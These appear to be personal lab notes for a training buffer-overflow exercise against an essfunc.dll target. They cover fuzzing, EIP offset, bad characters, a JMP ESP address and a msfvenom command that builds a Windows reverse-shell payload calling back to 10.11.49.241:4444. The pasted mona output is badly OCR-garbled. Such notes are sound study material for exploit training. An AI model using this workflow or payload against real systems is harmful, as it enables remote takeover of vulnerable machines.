overflow9 trying smth new

1. Determine min buffer size

```
Fuzzing with 700 bytes
Fuzzing with 800 bytes
Fuzzing with 900 bytes
Fuzzing with 1000 bytes
Fuzzing with 1100 bytes
Fuzzing with 1200 bytes
Fuzzing with 1300 bytes
Fuzzing with 1400 bytes
Fuzzing with 1500 bytes
Fuzzing with 1600 bytes
Fuzzing crashed at 1600 bytes
[Finished in 35.9s]
```

- 2. Determine EIP
 - via msf-pattern_create

```
msf-pattern_create -l 1600
```



- Address: 35794234
- 3. Determine offset of the pattern
 - via msf-pattern_offset

- EIP Offset: 1514
- 4. Test with Bs
 - Make sure 42424242 is at EIP

Registers (MMX EAX 01A7F438 A ECX 003A536C EDX 00000A0D EBX 41414141 ESP 01A7FA30 A EBP 41414141 ESI 00000000 EDI 000000000

5. Determine badchars

6. Remove \x04

• etc Nullbyte \x00

43 43 43 43 01 02 03 0A 0D 06 07 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 26 27 28 29 2A 2B 2C 2D 2E 2F 30 31 32 33 34 35 36 37 38 39 3A 3B 3C 3D 0A 0D 40 41 42 43 44

buffer = b"A" * 1514 + b"B" * 4 + b"C" * 4 + badChars



7. Remove \x3e



8. Remove \x3f



F8 F9 FA FB FC FD FE FF 0D 0A 00 7F 00 F0 FD 7F 37 8D 86 00 FE FF FF

9. Remove \xe1



F9 FA FB FC FD FE FF 0D 0A 00 FD 7F 00 B0 FD 7F 11 59 99 00 FE FF FF FF

• Badchars: \x00\x04\x3e\x3f\xe1

10. Determine JMP

• JMP Address must not have any of the identified badChars

jmp - Notepad						
File Edit Format View Help						
courtput generated by mona, pv v2.0, rev 605 - Immunity sebugger cord lan feam - Int(ps://mon.core) an. be os 1; / release 6.1 7601 Process being debugged: cost (pid 3256) current mona regionalization of period (pid 3256) current mona regionalization of period (pid 3256)						
2021-12-01 15:25:18						
working info						
nase	Top Size	Rebase	SafeSEH ASLR	NOCOMORT	os p11	version, Modulename & Path
0x77850000 0x77800000 0x62500000 0x75800000 0x75880000 0x75840000 0x77880000 0x76640000 0x76640000 0x76640000 0x76640000 0x76670000 0x76670000 0x76670000 0x76670000 0x76780000	0x77858000 0x0000 0x7880000 0x0000 0x7486000 0x0000 0x7486000 0x0000 0x75856000 0x0000 0x75856000 0x0000 0x7586000 0x0000 0x7586000 0x0000 0x7666000 0x0000 0x7666000 0x0000 0x7666000 0x0000 0x7666000 0x0000 0x7767000 0x0000 0x77761000 0x0000 0x7767000 0x0000 0x7767000 0x0000 0x7767000 0x0000 0x7767000 0x0000	0000 True 0000 True 0000 False 0000 False 0000 True 0000 True	True True True True True True True True True	True True False True True True True True True True Tru	True True False True True True True True True True Tru	6.1.760.1383 [P.W. d]] [C.Vielndow lyse ed.V.W. d]] 6.1.760.1383 [P.W. d]] [P.W. d]
0x625011af : 0x625011bb : 0x625011c7 : 0x625011d3 : 0x625011df : 0x625011eb : 0x625011er : 0x62501203 : 0x62501203 : 0x62501205 :	mp esp	CUTE_READ es CUTE_READ es CUTE_READ es CUTE_READ es CUTE_READ es CUTE_READ es EXECUTE READ	sfunc.dll ASLR: sfunc.dll ASLR: sfunc.dll ASLR: sfunc.dll ASLR: sfunc.dll ASLR: sfunc.dll ASLR: func.dll ASLR: } [essfunc.dll AS	alse, Rebase alse, Rebase alse, Rebase alse, Rebase alse, Rebase alse, Rebase	False, False, False, False, False, False,	safestin: False, 05: False, v-1.0: (C.)/users/admin/bastropival herable-apps/userplessfunc.dll) safestin: False, 05: False, v-1.0: (C.)/users/admin/bastropival-herable-apps/userplessfunc.dll)

- Address: 0×625011af
- Little Endian: \xaf\x11\x50\x62

11. Generate Shellcode

```
msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=10.11.49.241 LPORT=4444 EXITFUNC=thread -b '\x00\x04\x3e\x3f\xe1' -f python
```

12. Exploit

- a. offset (the number of As to reach EIP)
- b. returnAdd (EIP)
- c. NOP
- d. Shellcode